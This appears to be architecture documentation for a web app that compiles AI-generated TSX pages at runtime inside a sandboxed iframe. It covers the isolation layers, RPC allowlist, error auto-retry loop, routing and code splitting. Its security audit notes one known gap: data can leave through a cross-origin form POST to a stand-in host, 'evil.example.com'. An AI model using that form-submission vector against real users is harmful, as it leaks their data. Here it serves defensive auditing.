Skip to content

Frontend Architecture

The frontend is a static app shell that compiles TSX pages at runtime. Custom pages run inside a sandboxed iframe that communicates with the parent via postMessage RPC. This page explains each layer in detail.

Page compilation is a three-stage process split across the parent app and the sandbox iframe:

Raw TSX source is transformed to JavaScript using Sucrase. Sucrase handles TypeScript types, JSX syntax, and import/export statements in a single fast pass.

TSX source → Sucrase → CommonJS JavaScript

Sucrase is configured with three transforms: typescript, jsx, and imports. The output uses CommonJS (require / module.exports) so the next stage can intercept imports. Compilation errors are caught in the parent and displayed without sending code to the iframe.

The compiled JavaScript is sent to the sandboxed iframe via postMessage. Inside the iframe, it is wrapped in a Function constructor with a custom require function injected. When the code calls require('@alchemify/ui'), the custom loader resolves it from the iframe’s module registry — a plain object mapping package names to their exports.

// Simplified — what happens inside the iframe
const fn = new Function('require', 'module', 'exports', code);
fn(customRequire, module, exports);

The loader then extracts the React component from the module’s exports, checking in order:

  1. module.exports itself (if it’s a function)
  2. module.exports.default
  3. The first export that is a function

The iframe mounts the extracted React component inside its own QueryClientProvider and error boundary. The iframe reports content height changes to the parent via postMessage so the parent can auto-size the iframe element.

Custom pages execute inside an iframe with sandbox="allow-scripts allow-forms" (no allow-same-origin). This gives each page an opaque origin, isolating it from:

  • The parent app’s DOM, localStorage, cookies, and session
  • Other browser tabs and iframes

The primary browser-enforced exfil barrier is the CSP meta tag connect-src 'none'; img-src data: in apps/web/sandbox.html. It blocks fetch, XMLHttpRequest, WebSocket, EventSource, navigator.sendBeacon, and image URLs; it also stops Worker fetches via inheritance. The auth API additionally rejects requests from opaque origins via CORS as a server-side backstop.

Four layers, listed in order of how absolutely they hold:

#LayerEnforced byProtects against
1Iframe sandbox attribute (sandbox="allow-scripts allow-forms", see apps/web/src/components/SandboxedPage.tsx)BrowserParent DOM / cookies / storage access, top-level navigation, popups
2CSP meta tag (apps/web/sandbox.html)BrowserNetwork exfiltration via fetch / XHR / WebSocket / EventSource / sendBeacon / Image / Worker fetch (see gap below for what is not covered)
3Parent RPC method allowlist (RPC_METHODS in apps/web/src/sandbox/sandboxRpc.ts)AppIframe → parent calls outside the explicit allowlist; payload size / type validation
4Node AST validator (apps/chat/src/validate-page-source.ts)AppAI-generated TSX that uses obviously forbidden APIs — see below

Layers 1+2 are the primary network exfil boundary. They are browser-enforced and apply unconditionally to every iframe load, so L4 is not the line of defense for exfiltration — L4 exists so AI-generated pages fail with a clear, fixable error message (the LLM can read the violation and retry) rather than silently no-op’ing at runtime.

L3 limits what the iframe can ask the parent to do on its behalf; it is not an exfil barrier. The methods on the allowlist (e.g. rawSql) execute with the caller’s existing privileges, so a sandboxed page is bounded by what the user could already do via the SQL proxy directly — no more, no less.

Known gap — HTML form submission. The CSP does not currently set form-action, and the iframe carries allow-forms. A sandboxed page that obtains data via L3 RPC can therefore exfiltrate it via a cross-origin <form action="https://evil.example.com" method="POST"> submission, because connect-src does not govern form navigation. Top-level navigation is still blocked by the missing allow-top-navigation, so the form must submit inside the iframe — which is sufficient for exfil but means the parent app is unaffected. Closing this would be a one-line CSP addition (form-action 'none'); it is tracked as a follow-up rather than fixed here so the audit stays scoped.

WebRTC nuance. connect-src 'none' blocks server-reflexive / relay ICE candidate gathering (no STUN/TURN reach), but Chromium still emits local mDNS host candidates from inside an opaque-origin sandbox. Those candidates contain mDNS hostnames rather than real IPs, and a peer connection still requires a remote answer to actually open a data channel — so this is not a meaningful exfil vector here, but it is not literally “WebRTC is blocked.”

L4 trust boundary: validatePageSource() is called from the chat tool flows only (apps/chat/src/execute-tools/pages.ts, apps/chat/src/fix-component.ts). Pages written through other paths — for example, an admin issuing SQL via the proxy — are not validated. That is intentional: such admins already have arbitrary DDL/DML access, so this is not a privilege escalation.

The iframe cannot make API calls directly. Instead, @alchemify/data’s rawSql and exec functions send RPC requests to the parent via postMessage:

Page calls rawSql(query, params)
→ iframe posts {id, method: "rawSql", args: [query, params]} to parent
→ parent validates method + args, proxies call with JWT
→ parent posts {id, result} or {id, error} back to iframe
→ Promise resolves/rejects in page code

The parent enforces an explicit method allowlist (see RPC_METHODS in apps/web/src/sandbox/sandboxRpc.ts for the current set — rawSql, formattedSql, apiGet/apiPost against an allowlisted path set, getTableMeta, findChildFk, uploadFile, callDbFunction against an allowlisted DB-function set, and fetchFile / fetchFilePreview). Each handler validates argument types, the dispatcher caps payload size at 1 MB, and the iframe-side client applies a 5-second timeout per request.

Pages import functionality from @alchemify/* packages. These are not npm packages — they’re entries in a registry object that the app shell populates at boot.

PackageWhat it provides
@alchemify/uiButton, Card (+ sub-components), Input, Badge, Table (+ sub-components), Tabs (+ sub-components), DataTable, Label, Checkbox, Textarea, AlertDialog (+ sub-components), Tooltip (+ sub-components), Wizard, WizardStep, useWizard, FileField — shadcn/ui components + file upload widget
@alchemify/datauseSql (pass { tableName } on single-table reads to auto-enrich choice __label / __color; pass { rawDates: true } when seeding <input type="date"> / <input type="datetime-local"> so values stay in raw ISO form), useQuery, useMutation, useQueryClient, exec, rawSql
@alchemify/sqlsql tagged template, joinSQL, raw
@alchemify/authuseAuth() — current user
@alchemify/navuseNavigate, useParams, useSearchParams, Link
@alchemify/layoutPage, PageHeader, Stack, Grid, Loading, ErrorBoundary
@alchemify/utilcn() (class merger), formatDate(), toast(), groupBy(), nest() (single- and multi-level)
import { Page, PageHeader } from '@alchemify/layout';
import { useAuth } from '@alchemify/auth';
import { Card, CardHeader, CardTitle, CardContent } from '@alchemify/ui';
export default function Dashboard() {
const user = useAuth();
return (
<Page>
<PageHeader title={`Welcome, ${user.name}`} description="Your dashboard" />
<Card>
<CardHeader><CardTitle>Hello</CardTitle></CardHeader>
<CardContent>This is a TSX page stored in the database.</CardContent>
</Card>
</Page>
);
}

Stack and Grid wrap the two Tailwind patterns every non-trivial page reaches for:

  • <Stack gap="sm|md|lg">space-y-2|4|6. Default md.
  • <Grid cols={n} smCols? mdCols? lgCols? gap="sm|md|lg">grid grid-cols-{n} plus optional sm:/md:/lg: breakpoints and gap-{2|4|6}. cols accepts 1–6.

Both accept a className passthrough (merged via cn() / twMerge). <Page> already stacks its direct children with space-y-6, so use <Stack> for nested rhythm (inside Cards, report sections, form bodies). <Grid> renders a <div> — keep semantic elements (<dl>, <table>) raw.

import { Stack, Grid } from '@alchemify/layout';
<Grid cols={1} mdCols={2} lgCols={3} gap="md">
<Card></Card><Card></Card><Card></Card>
</Grid>
<Stack gap="md">
<Card></Card>
<Card></Card>
</Stack>

The candidate Tailwind classes (grid-cols-{1..6}, sm:/md:/lg:grid-cols-{1..6}, gap-{2,4,6}, space-y-{2,4,6}) are safelisted via @source inline(...) in apps/web/src/index.css because they’re built from props at runtime.

Errors are caught at three levels:

  1. Compile-time (parent) — if Sucrase can’t parse the source, the parent shows a CompilationError card without sending code to the iframe.
  2. Execute-time (iframe) — if the Function constructor or module loader fails, the iframe reports {type: "error", phase: "execute"} to the parent.
  3. Runtime (iframe) — if the component throws during React rendering, an error boundary catches it and reports {type: "error", phase: "render"} to the parent.

All error states are non-fatal — the rest of the app (sidebar, layout) stays functional.

When the chat preview surfaces an error — either while rendering an AI-proposed page, or after the user confirms a tool call that fails server-side — the system automatically feeds the error back to the AI so it can self-heal without the user having to type “the above shows an error xxx”.

Error types detected:

Error typeSourceHow it’s caught
Compilation errorSucrase fails to parse the TSXPageRenderer onError callback (render path)
Runtime render errorReact component throws during renderErrorBoundary in PageRenderer (render path)
Database query erroruseSql/exec call failsDedicated QueryClient with QueryCache.onError in PreviewQueryProvider (render path)
Tool execution errorA confirmed propose_* tool call fails server-side (FK violations, schema errors, etc.)useToolExecution forwards result.error via onExecuted (execution path)

How it works:

The render path and execution path share one budget (MAX_AUTO_RETRY_ATTEMPTS = 3) governed by useChatAutoRetry.

Render path (page preview errors, before user confirm):

  1. The AI streams propose_create_page / propose_update_page / preview_page.
  2. PageWidget renders the proposed source in a live preview via PageRenderer.
  3. PageRenderer reports errors via onError (compilation/render) and PreviewQueryProvider’s QueryCache.onError (data).
  4. PageWidget filters infrastructure noise (see below) and forwards real errors to ChatThread.onPageError.
  5. useChatAutoRetry auto-rejects the pending tool call (approved: false) and synthesises a user message containing the error + full source.

Execution path (any tool call that fails server-side after user confirms):

  1. User confirms a proposal — useToolExecution.confirm calls executeTool and gets back { error: "..." }.
  2. The hook forwards executionError to ChatThread.handleToolExecuted via onExecuted.
  3. When executionError is set, ChatThread skips the standard continueConversation (which would also push the AI to respond) and instead routes to useChatAutoRetry.
  4. useChatAutoRetry does not auto-reject (status is already error) and synthesises a user message containing the tool name + error.

In both paths the AI receives a direct prompt to diagnose + propose a fix. The budget caps at 3 attempts; rate-limit responses (HTTP 429) don’t burn a slot. The counter resets when the user manually sends a message or switches conversations.

Infrastructure error filtering:

Not all errors indicate a problem with the AI-generated page. PageWidget filters out known infrastructure errors that are unrelated to the page source:

  • CSP violations — Content Security Policy blocks from the preview sandbox
  • HMR errors — Vite Hot Module Replacement noise during development
  • Vite/bundler errors — Build tool artifacts that leak into error boundaries

These are identified by pattern-matching the error message. Only errors that indicate actual page defects (bad syntax, undefined variables, failed SQL queries) trigger the feedback loop.

System prompt guidance:

The chat service system prompt (in apps/chat/src/ai.ts) includes explicit guidance to help the AI avoid common errors that trigger this loop — for example, never importing modules that are not in the @alchemify/* registry. This reduces the frequency of errors that need automatic correction.

Key files:

FileRole
apps/web/src/components/builder/useChatAutoRetry.tsShared budget + retry orchestration for both paths
apps/web/src/components/PageRenderer.tsxonError callback, PreviewQueryProvider with QueryCache.onError
apps/web/src/components/builder/widgets/PageWidget.tsxRender-error detection, infrastructure filtering, forwards to onPageError
apps/web/src/components/builder/widgets/useToolExecution.tsForwards executionError to onExecuted so chat can detect tool failures
apps/web/src/components/builder/ChatThread.tsxWires render path (onPageError) and execution path (handleToolExecuted) into the retry hook
apps/chat/src/ai.tsSystem prompt with “never import” guidance
apps/chat/src/app.tsHandles rejected tool_result in conversation history

New frontend features land in apps/web/src/features/<name>/ — colocate components, hooks, and feature-local lib code. Existing flat code under components/, lib/, and pages/ migrates opportunistically when touched, not in a big-bang refactor. CRUD stays where it is unless its shape is being reworked.

Do not extract features into separate packages/* workspaces. The runtime module boundary that matters (what AI-authored TSX can import) already lives in apps/web/src/modules/ — duplicating it at the package level adds versioning and build ceremony without benefit at current scale. Reconsider only when a second consumer (separate admin app, mobile shell) appears.

To make a new package available to TSX pages:

  1. Create a module file, e.g. apps/web/src/modules/charts.ts, exporting the components.
  2. Add the module to both registries:
    • apps/web/src/compiler/registry.ts — used by the builder preview (PageRenderer)
    • apps/web/src/sandbox/registry.ts — used by the sandboxed iframe runtime
  3. If the module needs network access (like @alchemify/data), the sandbox version must use the RPC client instead of direct fetch.
  4. Never read parent state directly from sandbox-side modules. The iframe’s opaque origin causes localStorage, cookies, and parent.window.* access to throw. Any value the parent holds (auth token, current schema, theme) must be passed in via the postMessage protocol and exposed to widgets as a factory dep — see how @alchemify/widgets receives getAppSchemaName in apps/web/src/sandbox/registry.ts. Importing @/lib/api from a sandbox-reachable module is a smell.
  5. If adding to @alchemify/ui, update the canonical component registry in packages/types/src/ui-components.ts. The chat service reads this at runtime to tell the AI exactly which components are available. A test automatically verifies the registry matches ui.ts.
  6. Rebuild the app — pages can now import { BarChart } from '@alchemify/charts'.

Note: FileField from @alchemify/ui is not available in sandboxed pages because it requires direct API access for file uploads. The sandbox UI module exports all other components.

The frontend supports multiple apps (schema-per-app). Each app maps to a PostgreSQL schema registered in sys.apps. The active app is encoded in the URL as a path prefix (/:schema/*), making it bookmarkable and shareable.

/:schema/* — all app-scoped routes
/apps — app picker / management
/login, /signup, /set-password — auth routes (global)
/ — smart redirect (last-used → /:schema, else → /apps)

AppProvider accepts a schema prop derived from useParams().schema in the parent route. It syncs the schema to the api.ts module variable and localStorage so every apiFetch call includes the X-App-Schema HTTP header. The backend’s resolveAppSchema() validates the header and sets search_path accordingly.

The appUrl(path) helper in routes.ts prefixes any app-scoped path with /${schema}. CRUD components use entityPath()/entityUrl() which call appUrl() internally, so they get schema-prefixed paths with zero callsite changes.

Key components:

ComponentPurpose
AppContext / useApp()Provides activeSchema, setActiveSchema(), clearActiveSchema()
AppPickerFull-page picker at /apps for selecting or creating an app (admin/owner can create)
AppSwitcherSidebar popover for switching, renaming, or deleting apps

setActiveSchema(name) updates localStorage, sets the module-level header variable, calls queryClient.clear() to prevent cross-app data leakage, and navigates to /${name}. clearActiveSchema() navigates to /apps. The schema query key includes the active schema (["schema", activeSchema]), so TanStack Query auto-refetches on switch.

A useEffect in AppProvider clears the query cache when the schema prop changes via URL (browser back/forward, URL bar edits) to prevent cross-app data leakage for navigations that bypass setActiveSchema().

If the schema fetch fails while an app is selected (e.g., the schema was deleted), SchemaContext auto-clears the active schema, returning the user to /apps.

The base app shell loads two static chunks at first paint: main (app entry: routing, layout, CRUD components) and an auto-extracted shared vendor chunk (React, react-router, tanstack-query, Radix, sonner). Heavier features sit behind React.lazy boundaries in App.tsx, so admin-only code is never downloaded by non-admin users, and feature chunks like the AI builder load only when the user navigates to them:

Lazy boundaryWhat it pulls out of main
BuilderLayout (admin /builder/*)AI chat UI, conversation list, message widgets
NewAppWizard (/apps/new)Wizard step components
SandboxedPage (/page/:slug, sys/settings, sys/users)TSX-in-DB compiler (sucrase ~104 kB) — loads when a custom page is opened (admins and non-admins alike)
SystemDashboard, AdminRelations, AdminPages, AdminOrgSettingsAdmin-only pages
@sentry/react SDKLazy import("@sentry/react") in lib/error-monitoring.ts, post-mount
chart.jsLoaded on-demand by the @alchemify/charts sandbox module

The react-markdown/remark/micromark stack is reachable from both the wizard (InterviewStep) and the builder chat — Rollup hoists it into a shared lazy chunk that loads alongside whichever boundary the user hits first.

Lazy targets in App.tsx are named exports, so each React.lazy call uses the .then((m) => ({ default: m.X })) wrapper. Each lazy route element is wrapped in <Suspense>; admin/wizard fallbacks are null (no flash for hover paths), and SandboxedPage uses a small “Loading…” placeholder because PageBySlug already returns null while usePages() resolves.

To inspect chunk composition:

Terminal window
ANALYZE=1 pnpm -F @alchemify/web build
open apps/web/dist/stats.html

build.chunkSizeWarningLimit is set to 650 kB. Two chunks legitimately exceed Vite’s 500 kB default: the auto-extracted shared vendor chunk (loads alongside main regardless) and the lazy Sentry chunk (loads post-paint). New static deps that push main past the limit should be lazy-loaded; the limit catches real regressions in the shared/lazy chunks.

Page changes propagate via application-layer signaling: UI mutation paths (builder, chat, admin pages) invalidate React Query caches, and BroadcastChannel relays invalidations to other same-origin tabs. Changes made outside these paths (direct SQL, psql, external writers) are not propagated — the browser picks them up on refresh. We deliberately avoid PostgreSQL LISTEN/NOTIFY (incompatible with transaction pooling, requires a pinned backend per tenant); when a database-driven feed becomes necessary, the planned path is a transactional outbox table polled by a worker.

Known limitation — sandbox iframe writes don’t reach other tabs. Custom pages render inside an iframe sandboxed allow-scripts allow-forms (no allow-same-origin), so the iframe document runs at a unique opaque origin. BroadcastChannel is same-origin restricted, so a broadcastInvalidate() call from inside the iframe (where custom-page widgets render) reaches neither the parent tab nor any other tab. Cross-tab invalidation works only when both writer and listener are in the parent app — auto-CRUD pages, admin views, the builder. A write inside a custom-page widget refreshes that page’s own widgets (in-iframe path), but a list view open in a second tab will not refresh until the user reloads it. An iframe→parent→cross-tab postMessage bridge would close the gap; we deferred it (#716) because the typical builder-iteration flow already gets a fresh load when the link is reopened, leaving only end-users-with-multiple-tabs-of-their-own-app as the impacted scenario.